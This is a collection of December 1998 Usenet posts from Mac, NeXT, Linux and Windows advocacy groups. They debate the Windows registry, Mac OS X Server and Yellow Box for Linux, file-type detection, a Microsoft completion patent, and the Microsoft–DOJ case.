References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <01be28e2$6095c2e0$35f0ccc3@default> <slrn77enpt.ogc.jedi@dementia.mishnet> <01be28c3$5b754b60$28f0ccc3@default>
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Date: Wed, 16 Dec 1998 23:08:49 GMT
In article <01be28c3$5b754b60$28f0ccc3@default>, Bjørnar Bolsøy wrote:
>> It never helped be one bit as an administrator.
>> In fact, it has actually been somewhat of a
>> hinderance. An opaque uber-storage facility
>> like a registry only hides details from those
>> who really need to know them and are quite
>> capable of understanding them.
>
> I have a hunch your experience is mostly concentrated
> around admining Unix servers and terminals rather than
> networked PC clients.
I'll back up the original poster. We've got a LAN consisting of NT boxen
as well as UNIX-based MacOS X Server boxen for development (prior to this
the OSX Server machines were 4.2 OPENSTEP). A fundamental flaw in the
whole registry concept is that it makes network installs of apps a real
pain. Under OPENSTEP, we have a single machine where we install all of our
shared apps. I drag-and-drop 1 file into a folder, and suddenly every
machine on our LAN can run the app. One reason why I can do this is that
basic configuration of the app is stored in its associated folder, only
user customizations are stored in a "registry-like" structure called the
defaults database. This database is unique to each user.
The concept of a registry is fine. The flaw is that it is used exclusively
as a repository for configuration information. What you really need is a
hierarchical system, where the app's own folder stores basic information,
and where user preferences and the like are stored externally to that. You
could even imagine in such an hierarchical system, that one might inject
an intermediate layer where "office-wide" preferences are stored inbetween
app and user settings.
Note: here I'm assuming a uniform API and format for this data, as is
provided by OPENSTEP. The API is the important bit, not the particulars
of where the data is stored as the registry implementation today seems
to suggest.
Mark
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Message-ID: <rbarris-1612981516170001@192.168.1.16>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <01be28e2$6095c2e0$35f0ccc3@default> <slrn77enpt.ogc.jedi@dementia.mishnet> <01be28c3$5b754b60$28f0ccc3@default> <367836c1.13764642@news.dial.pipex.com>
Organization: Quicksilver Software, Inc.
Date: Wed, 16 Dec 1998 23:14:49 GMT
NNTP-Posting-Date: Wed, 16 Dec 1998 15:14:49 PDT
In article <367836c1.13764642@news.dial.pipex.com>,
hoggett@airtime.no.spam.co.uk wrote:
> I don't know about 'jedi', but I've certainly been working with a
> large network of PC clients used by a team of developers and testers
> to produce new software for one of the larger local utilities
> corporations. I can safely say that the registry has been nothing but
> a total pain in the butt in this process. Developers have used it to
> store information which is _not_ accessed by any other application
> besides the one whose installation resulted in the registry entry,
> often for the kind of stuff that would be far better suited to a
> configuration file. Upgrades are another huge problem, as the site has
> a fair spread of NT 3.51, NT 4 and Win95 machines. MSOffice is the
> biggest culprit, often failing to update the registry given a combined
> NT and MSO upgrade, so that people often end up with non-working
> spellchecking, thesaurus etc.
>
> I can think of many occasions when I've had to go into the registry to
> correct/remove entries not properly handled by installers,
> uninstallers and upgrades, but I honestly can't think of one instance
> when I thought the registry to be a blessing.
The ultimate computing Nirvana will be reached when a registry is
available in *hardware* too!
http://www.eetimes.com/story/OEG19981211S0009
Rob
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Organization: needs one
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<1dk4ysm.1hcdk185xn1w3N@roxboro0-052.dyn.interpath.net>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 23:33:19 GMT
In <1dk4ysm.1hcdk185xn1w3N@roxboro0-052.dyn.interpath.net> John Moreno
wrote:
> The Mac lacks Protected Memory and I've gone any number of rants about
> how that sucks -- I could probably spit out a couple of pages of
> complaints about it not being available on the Mac without half trying.
But in that case *everyone* will agree with you!
Maury
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Registry Synchronization?
Message-ID: <petrichF430Gp.3L4@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <3677c79f.1775312@news2.asan.com>
Date: Wed, 16 Dec 1998 23:41:12 GMT
Sender: petrich@netcom18.netcom.com
In article <3677c79f.1775312@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>The registry is for storing information to be shared across all
>applications. How does an application know what other apps are
>available if there isn't a central listing of available apps?
The MacOS does something similar with its Desktop Database files,
which contain associations and the like. The difference is that these
files are maintained entirely behind-the-scenes, and that they can be
rebuilt on command when restarting the Finder.
So if there is to be some sort of registry, it ought to be
maintained in this behind-the-scenes fashion, as some sort of cache file
for a search operation.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: No Slashdot Poll
Date: 16 Dec 1998 23:57:39 GMT
Organization: Michigan State University
Message-ID: <759hdj$p3k$1@msunews.cl.msu.edu>
References: <3676176A.6212EABF@nstar.net> <FIiROLCWddLd-pn2-TEHsqn7z8gVM@localhost>
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Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-dXxdZuWwwsZr@localhost> taiQ wrote:
> On Tue, 15 Dec 1998 19:56:15, mmalcolm crawford <malcolm@plsys.co.uk>
> wrote:
>
> > taiQ composed another sweeping gereralisation which doesn't stand up
> > to scrutiny.:
>
> Thank you, again, for keeping the discussion civilized and not
> attacking the person expressing his opinions in any nastier ways.
> (hint: you could still do a little better)
>
> > > With all due respect, I feel that such a poll would not serve its
> > > purpose very well at this point of time simply because very little, if
> > > any, information exists regarding either Apple's YB strategy or Mac OS
> > > X (let alone the Intel version).
> [the rest was cut]
>
> >
> > What do you want to know about YB and MacOS X?
> >
> > There is plenty of information available...
> > .... much even from Apple's web site:
> > http://developer.apple.com/macosx/
>
> Taken out of context this can be interpreted as if I claimed that
> little or no information exists regarding either Yellow Box or Mac OS
> X. Well, I was talking in the context of "Yellow Box for Linux"
> (slashdot poll) and whether enough is known regarding Apple's
> _strategy_ for Yellow Box and Mac OS X. Information such as:
Publically U R right. I was just reminded by Malcolm
about how Apple has stated a long term commitment to YB as its
API of the future. Though I suspect talk of YB will be minimal until
the release of Mac OS X User with full Carbon, etc.
I think people do have right to wonder as time passes whether there
will be a YB for Linux . People will want to know if there
is going to be a way to YB on x86, preferrably through Linux or
if we'll be stuck with YB products on x86/Windows as our only path.
Do we not forget that there still is no MacOS X to buy from
Apple. (Malcolm??) Though if WO4 and CR1 YB are shipping
then I say horray.
This poster makes quite valid points. And asks a question
that I asked a while ago in:
http://www.channelu.com/Articles/ClosedorOpen/index.html
- Whether Apple should do a YB on Linux.
I've made arguments in other posts that the work for Apple
to do a YB for Linux might be wasted until they get
everything in YB (particularly the display) settled. Then
they can think about Linux etc. I guess Apple would say
U can have solaris, or Windows for WO or YB now. I really
have to think something is wrong if Apple is going to hold
back it's OSs/hardware and sell WO/YB on other hardware
OS solutions.
> Will Mac OS X be ported to Intel or other non-PPC platforms?
As far as we know the stated intention is to NOT do/support
Mac OS X past 1.0 server release on intel.. That MacOS X
would be a PPC only OS. You can still get YB and WO on
other OS's (including the development environment) but
on server on non-mach kernels. It seems if Apple has it's way
you'll have to get PPC to get MacOS X Mach kernel and bsd
underpinnings.
> Do we know if Apple is even planning YB for Linux?
Nope.
> How far-reaching would the Linux involvement be?
Who knows. Seems peripherial currently. They most certianly
know about it.
> What would YB for Linux look like from a technical standpoint?
I've heard differing views on this. Some say you'd want to use
MKLinux as the kernel to get the Mach functionality but MkLinux
and MacOS X I don't think use the same Mach functionality.
Then there is just the differences in the structure of the underlying
unix which are substantial. I don't know the gory details.
> What about the time frame?
Hard to say. I'm guessing it could be done but might take a large
team 3-6 months, probably a year. I'm guessing. Somehow I suspect
putting Carbon on Windows would be easier than putting YB on
Linux or possibly MkLinux. I may be wrong though.
> What kind of licensing scheme and pricing would we be talking about?
Again. Hard to say. If I think the developement resources will be substantial
then I'd have to consider whether the market size justifies the initial
investiment. (The growth Linux is undergoing is one of the main
reasons to consider it, possibly..) Pricing in Linux.. ;)
> I expressed my opinion that before more is known of the supposed YB
> for Linux strategy (which would be part of Apple's larger strategy for
> YB and Mac OS X, as I indicated in my previous post) it would appear
> premature to 1) begin polling Linux users and 2) use those poll
> results to "determine whether a Linux port is necessary...". A good
> introductory essay would, IMHO, shed some light on the issues I listed
> above.
I agree completely. Heck YB is not easily available. The poll
is senseless until MacOS X server ships, and CR1 YB Windows, etc.
(Which may be shipping now AFAIK) with WO4.0
> FWIW, I would be quite pleased if you could try to avoid presuming or
> imagining _malice_ in my posts. I want YB and Mac OS X to be
> successful as much as anyone in this newsgroup. Heck, I'd like to see
> _your_ business opportunies growing manyfold in the process. If you
> don't agree with an opinion then build your own case. If something
> looks ambiguous seek for clarification - english isn't the
> mothertongue of everyone in the internet, you know. Finally, ad
> hominem attitude seldom provides sound base for constructive dialogue.
I agree. Your questions are all valid though it may be that Apple has
too much on it's hands to worry about Linux right now.
>
> Rgds,
>
--
Randy Rencsok
rencsok or spammers at
ruin d0t the d0t internet d0t channelu d0t com
http://www.channelu.com/Staff.html
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: Wed, 16 Dec 1998 15:19:31 -0800
Organization: Cygnus Solutions
Message-ID: <36784003.14BC83CF@cygnus.com>
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com>
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Chris Douty wrote:
>
> In article <36778d0e.0@news.depaul.edu>,
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >Filed June 5 1996
> >Issued Dec 1, 1998
> >
> >US5845300: Method and apparatus for suggesting completions for a
> >partially entered data item based on previously-entered,
> >associated data items
> >
>
> Great. Now I suppose that they'll go after the authors and users of
> tcsh, zsh, bash, csh, ksh, and the list keeps going. Is there a
> freely accessible patent database where one can read the text of a
> patent? This is just ridiculous. I recall using very sophisticated
> commandline completion in WShell on the Amiga back in 1989 or so;
> certainly that was not the first implementation either.
>
> Who the hell do these people think they are?
>
> -Chris
>
Any Lawyers around here? (John Kheit, you listening?)
What is the process for challenging a patent based on there being prior
examples of the work?
File name completion in csh (at least) existed LONG before the dates of
this patent. I would expect it to be trivial to challenge this patent.
Wonder if you can do a class action suit as a patent challenge. :-}
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 98 23:08:47 GMT
Organization: P & L Systems
Message-ID: <36783d7f.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost>
<adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost>
<75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost>
<757fsu$5or@news1.panix.com> <3677ed1f.0@stan.astra.co.uk>
<3677FD44.D59265DA@ericsson.com>
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Cc: michael.peck@ericsson.com
In <3677FD44.D59265DA@ericsson.com> Michael Peck wrote:
> The more polite, conversational, open-minded, and energetic people you
> deliberately and carelessly piss off and treat like dogshit, people like
> taiQ, the fewer people will care to go to your talks...
>
I have neither deliberately "pissed off" taiQ, nor IMHO treated him like
"dogshit"(*); I have however noted elsewhere that he has repeatedly refused
to acknowledge the fundamental assertion I and others are making -- namely
that no-one appears to be against YB/Linux *in principle*. The fact that he
continues on occasion to argue as if all ex-NeXT folk were anti-Linux does
not help further debate, nor is it, from my perspective, polite or
open-minded.
Your problem?
To add another *constructive* datum to the thread, here's an article which
may be of interest:
Apple gears up for Open Source MacOS
http://www.theregister.co.uk/981216-000017.html
mmalc.
(*) He seems to have taken personal offense at my calling a suggestion of his
"asinine" -- ironic given that I chose the phraseology specificly to indicate
that it was the *suggestion* I thought ill-considered, and that I was not,
for example, calling Tai himeself "stupid". cf also the definition of
"asinine": marked by inexcusable failure to exercise intelligence or sound
judgment áan asinine excuseñ.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 16 Dec 1998 23:50:51 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <759h0r$n3i$1@cronkite.cs.umd.edu>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com> <7571cf$os3$7@blue.hex.net>
NNTP-Posting-Date: 16 Dec 1998 23:50:51 GMT
Christopher Browne (cbbrowne@news.hex.net) wrote:
> Note that many UNIX systems provide a library they call "magic" (see the
> manual page for "magic," often in section 4...) which examines the
> beginning of a file and matches it against "signature" information in
> /etc/magic.
> One would, for instance, consider that if a file begins with <HTML> or
> <html>, it is very likely an HTML file. Reasonable signatures are
> available for a wide variety of sorts of files, including many document
> formats, binary executables, shell scripts, and the likes, which might
> all loosely be considered "document formats."
This is true; though I should point out that magic and file (1) don't work
for directories where extensions do, and (2) have a *lot* of trouble with
many ascii-formatted files. For example, your html example demonstrates
the problem: formal HTML (for 2.0 and beyond anyway) _must_ begin with the
tag <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">, but of course many
people ignore this tag; many also often ignore <HTML> or even <HEAD>.
Worse than that: consider a SHOE document
(http://www.cs.umd.edu/projects/plus/SHOE) or other similar supersets of
HTML; many of these kinds of documents are pretty much indistinguishable
to magic or file.
This isn't to say that extensions don't have problems. The biggest
problem with extensions is namespace conflicts. Even in NeXTSTEP, the
fact that Mathematica uses .m files AND Objective-C uses .m files (totally
different of course) is no end of consternation to me. And there's also
that fun fact that NeXTSTEP can mount DOS disks with extensions that
overlap Unix's use in many places. But _assuming_ namespaces are resolved
in a reasonable way, they allow files to be *explicitly* tagged with a
type, rather than relying on a heuristic program like file or magic to
guess (and often guess wrong) what type the file is.
Sean
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 98 23:19:13 GMT
Organization: P & L Systems
Message-ID: <36783ff1.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
<ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
<74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com>
<3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com>
<367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com>
<36754DE4.A7435E0B@ericsson.com> <757ft3$5or@news1.panix.com>
<3677F84B.759E987B@ericsson.com>
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Cc: michael.peck@ericsson.com
In <3677F84B.759E987B@ericsson.com> Michael Peck wrote:
> > Even if it took Apple two seconds to port to Linux, they would still have
to
> > work out a deal with Adobe, and Adobe has made it clear that they don't
want
> > any deals. Any effort to porting YB to Linux before this is resolved is a
> > wasted effort.
>
> You've just argued that any effort working on YB for any platform is
> also wasted effort.
>
If you add the phrase "at this moment in time", then yes, this is the case.
It would be far better if Apple had the replacement windowing system to hand
right now and could ship it without any dependencies on Adobe/DPS. However
Apple does not have this technology ready, yet nevertheless has commitments
to ship products immediately. Given these constraints, it therefore makes
sense to minimise the waste of effort by working on YB for a minimal set of
platforms until the Adobe issue is resolved.
[Largely content-free prose treating Sal like "dogshit" cut.]
mmalc.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 16 Dec 1998 19:16:09 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <759ig9$3gq$1@crib.corepower.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu>
NNTP-Posting-Date: 17 Dec 1998 00:16:19 GMT
In article <distler-1612980948250001@dial-104-21.ots.utexas.edu>, distler@golem.ph.utexas.edu (Jacques Distler) wrote:
> In article <19981216074540.14116.00000011@ng57.aol.com>, willadams@aol.com
> (WillAdams) wrote:
> >This is one of the features which I really miss in Mac OS--I'd really like to
> >be able to choose when to open an Illustrator file in FreeHand for example.
> 1) You can always drag the file over the FreeHand icon and it will launch.
> (Together with "Spring-loaded" folders for navigating the file system this
> is very conveniet.)
Still less convenient then being presented directly with a list of all
applications which can operate on that file, without having to search
for anything.
> 2)Use "Snitch", which provided an enhanced GetInfo box. In particular, you
> can change the Type and Creator codes for the file.
But that's rarely what I want to do when I use the Workspace inspector;
I want to open the document in a particular app for that one time only.
I don't want to have to change the default app, open it, and then change
it back.
> In fact, it's much more convenient to use. Since there's a Contextual Menu
> plugin for Snitch, you can bring it up to change the Creator code just by
> control-clicking on the file. No trip to the Menu Bar.
<shrug> I just use the command-key shortcut in the Workspace. But I
agree, contextual menus are very useful. (Is it possible to hook a
two-button mouse up to a Mac and use one of them for context menus?)
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 17 Dec 1998 00:18:00 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <759ijo$oa3@ns2.alink.net>
References: <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
hugh@damnspam.semplicesoft.com (Hugh Johnson) writes:
> It sounds like you might know a lot more about enterprize computing than I
> do. Congratulations. But obviously you were alarmed enough to go chasing
> all over the web over this, and to write two lengthy rebuttals - if you
> know so much and you're so alarmed, I wonder, what does that say?
Well, one good reason would be to stop FUD before the traditional press starts
reporting what you said because someone heard a rumor about it somewhere...
It is never too soon to stop FUD.
Mike Barthelemy
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 16 Dec 1998 19:21:47 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <759iqr$3hu$1@crib.corepower.com>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F3ypnu.6p0@T-FCN.Net> <3676bdbe.0@stan.astra.co.uk> <F42F6F.A62@T-FCN.Net>
NNTP-Posting-Date: 17 Dec 1998 00:22:01 GMT
In article <F42F6F.A62@T-FCN.Net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <3676bdbe.0@stan.astra.co.uk> mmalcolm crawford wrote:
> > Funnily enough it was actually I who released the original version,
> > complete with some notes I took during the meeting at which it was
> > previewed: :-)
> Not being able to use it myself, what was the difference with the
> shelf/dock thingy?
The shelf at the bottom of the screen was a replacement for the dock.
It was tabbed into user-definable categories, and you could drag apps,
documents, and perhaps other objects into it.
> It seems they removed the shelf from the "finder" windows and made a
> single UI system for both?
Pretty much.
> And what is the grid of icons in the lower left?
A pop-up grid of the icons for all of the running apps, including the
ones that would normally be displayed in the dock (without the dots) and
the app icons at the bottom of the screen for non-docked running apps.
I think there was another pop-up with all of the open documents or
minaturized windows.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 00:35:33 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com>
NNTP-Posting-Date: 17 Dec 1998 00:35:33 GMT
On Wed, 16 Dec 1998 13:56:34 -0600, Michael Peck wrote:
: The fact is that your product lacks remoting and
:it's a glaring fault.
I agree on this point: remote administration is needed to be an
excellent Unix, but I don't think its lack in the beginning means that
MacOS X will automatically fail.
* the largest initial market is for Mac users who don't have this capability
at present. They most desire stability and improved multitasking.
* in private conversation with somebody who knows I learned that
NeX^h^h^hApple understands why remotability is useful, but the
current state of affairs is due to unexpected circumstances.
{e.g. Adobe + DPS, and the Carbon plan}
In essence, they will architect MOSX to allow remotability, but the actual
capability might not be in the initial release and they will not slip it
to include it. It may be in later releases.
One ought to consider that with the existing DPS system only yellow-box
programs would be remotable, and not BlueBox. A Mac user would have
the expectation that eventually all Carbon and YB programs would be
remotable.
* more and more applications and utilities are becoming administrable via
HTTP. Like it or not, HTTP and HTML is the remote-client-server
architecture which really has caught on. {Yes I understand the difference
and why totally transparent X-style stuff can be better}.
I agree that greater adoption of MOSX in traditional Unix-oriented places
would be slowed without full remotability.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
Message-ID: <36785375.12FC8974@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
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NNTP-Posting-Date: Wed, 16 Dec 1998 19:39:35 EDT
Date: Wed, 16 Dec 1998 16:42:29 -0800
Hugh Johnson wrote:
* Whacka Whacka Whacka Whacka Whacka Whacka
Day or so you said you're outta here. So you're back
already?
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 16 Dec 1998 19:40:24 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <759jto$3l4$1@crib.corepower.com>
References: <3675C7C4.861C5575@nstar.net> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com> <slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NNTP-Posting-Date: 17 Dec 1998 00:40:43 GMT
In article <slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, mbkennel <replace this with '@'> yahoo.com wrote:
> In essence, they will architect MOSX to allow remotability, but the actual
> capability might not be in the initial release and they will not slip it
> to include it. It may be in later releases.
How is efficient remote display under the new graphics model going to
be possible? Transferring bitmaps over a wire isn't good for bandwidth,
but without a client/server display model, I don't know how else you
could do it.
[Note followups.]
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Microsoft patented 'completion'
Message-ID: <cdoutyF433M5.FxE@netcom.com>
Sender: cdouty@netcom15.netcom.com
Organization: Netcom Online Services, Inc.
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com>
Date: Thu, 17 Dec 1998 00:49:17 GMT
In article <36784003.14BC83CF@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
>Chris Douty wrote:
>>
>> In article <36778d0e.0@news.depaul.edu>,
>> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>> >Filed June 5 1996
>> >Issued Dec 1, 1998
>> >
>> >US5845300: Method and apparatus for suggesting completions for a
>> >partially entered data item based on previously-entered,
>> >associated data items
>> >
>>
>> Great. Now I suppose that they'll go after the authors and users of
>> tcsh, zsh, bash, csh, ksh, and the list keeps going. Is there a
>> freely accessible patent database where one can read the text of a
>> patent? This is just ridiculous. I recall using very sophisticated
>> commandline completion in WShell on the Amiga back in 1989 or so;
>> certainly that was not the first implementation either.
>>
>> Who the hell do these people think they are?
>
>Any Lawyers around here? (John Kheit, you listening?)
>
>What is the process for challenging a patent based on there being prior
>examples of the work?
>
>File name completion in csh (at least) existed LONG before the dates of
>this patent. I would expect it to be trivial to challenge this patent.
>
>Wonder if you can do a class action suit as a patent challenge. :-}
Good question. That's part of why I wondered if there is a freely
accessible patent database. I'd like to see exactly what MS's "method
and apparatus" are. There is always the possiblity that they really did
come up with a novel method for suggesting completions. I rather doubt
it, but it is possible.
My real worry is that even if MS did come up with a novel (and therefore
patentable) method that they will go around trying to squash any program
using data completion regardless of prior history, different methods,
whatever. MS has the money to attack all sorts of folks with bogus and
baseless claims, but defending oneself costs just as much as against real
claims.
Sigh. Today was going so _well_...
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 18:57:42 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <759ku8$js7@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <757klt$joc@newsops.execpc.com> <3677F9C7.91FF731C@ericsson.com>
Michael Peck (michael.peck@ericsson.com) wrote:
: Steve Mading wrote:
: >
: > Michael Peck (michael.peck@ericsson.com) wrote:
: > : Loren Petrich wrote:
: >
: > : > >Elite, Anointed, there are many handles for those who presume to speak
: > : > >and act on behalf of beknighted "masses". ...
: > : >
: > : > Just like business leaders?
: >
: > : No, not just like business leaders. Unless I voluntarily give them leave
: > : to do so, there are no "business leaders" who speak and act for me. Are
: > : there business leaders who speak and act for you? How do they do that?
: > : Why do you let them do this thing?
: >
: > Whoa Whoa. Hold it a moment.
: > Nice try there. I almost let that one slip by. In the case of the
: > technical 'Elite' you never said that they were successful in their
: > attempt to speak for you, only that they *claimed* to speak for you.
: Actually, I said that they "presume to speak and act on behalf of...".
: From Merriam-Webster:
: presume:
: 1 : to undertake without leave or clear justification : DARE
: > That was enough for you to label them "elitists'. But, when we
: > try to draw a comparasin to business leaders you change the criteria
: > for elitism so that it is no longer sufficient to simply claim to
: > speak for the people, now they have to succeed at it to be elitist.
: > Nice dodge. Didn't work.
: Well, I'm sorry that you have egg on your face, but careful reading is a
: must-do before posting to the world your mistake.
I do not have egg on my face. Your defence when presented with the
business leader analogy was precisely this: "Unless I voluntarily give
them leave to do so, there are no "business leaders" who speak and
act for me." I have left in the relevant quote above so you can
see it for yourself. You *were* talking about *YOU* letting them
speak for you, when, presumably, you *also* don't let the technical
"elite" (whatever that is) speak for you either. So this does not
qualify as a difference between the technical "elite" and the
business leaders, like you claimed it did.
: Yes, *your* mistake.
Nice try. Didn't work. Some of us are much better at logic than
that. You'll have to try harder to fool us.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
